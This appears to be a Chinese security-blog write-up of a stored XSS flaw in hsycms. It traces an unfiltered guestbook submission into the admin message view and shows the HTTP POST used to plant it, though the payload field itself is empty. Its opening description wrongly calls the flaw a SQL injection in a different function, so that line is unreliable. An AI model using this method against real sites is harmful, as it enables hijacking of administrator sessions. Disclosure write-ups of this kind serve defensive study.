一、漏洞描述:
在prevNext()函数中,直接将接收到的传参,没有经过任何的过滤,直接作为where条件带入执行,从而造成SQL注入漏洞。
二、漏洞分析过程:
定位到漏洞代码:/app/index/controller/Show.php中的sendmail()方法:
这里用input()方法接收post数据,然后直接调用insert()方法将数据插入到book表,中间没有任何过滤:
book表的字段如下:
因为程序是基于thinkphp二开的,所以访问到此方法根据tp的路由:/index/show/sendemail,然后POST根据表的字段传入对应数据即可
然后分析一下输出过程:
/app/hsycms/controller/Site.php中的book()方法
这里直接查询book表的数据,然后assign()将查到的数据$list直接赋值给模板
根据tp的模板定义规则,定位到模板文件:/admin/view/site/book.html
然后会输出以下这些字段,所以只需要将XSS payload插入这些字段中即可触发
三、漏洞利用:
构造如下数据包即可:
POST /index/show/sendemail HTTP/1.1
Host: www.hsycms.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=j44mhqsbphnavuvr54vpj2poj1;user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
title=test&name=test&company=test&phone=111&content=
提示留言成功:
看一下数据库中的内容:
当管理员后台查看留言的时候就会触发:
成功触发XSS:
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
本文始发于微信公众号(哈拉少安全小队):【漏洞分析】hsycms 存储型XSS漏洞分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论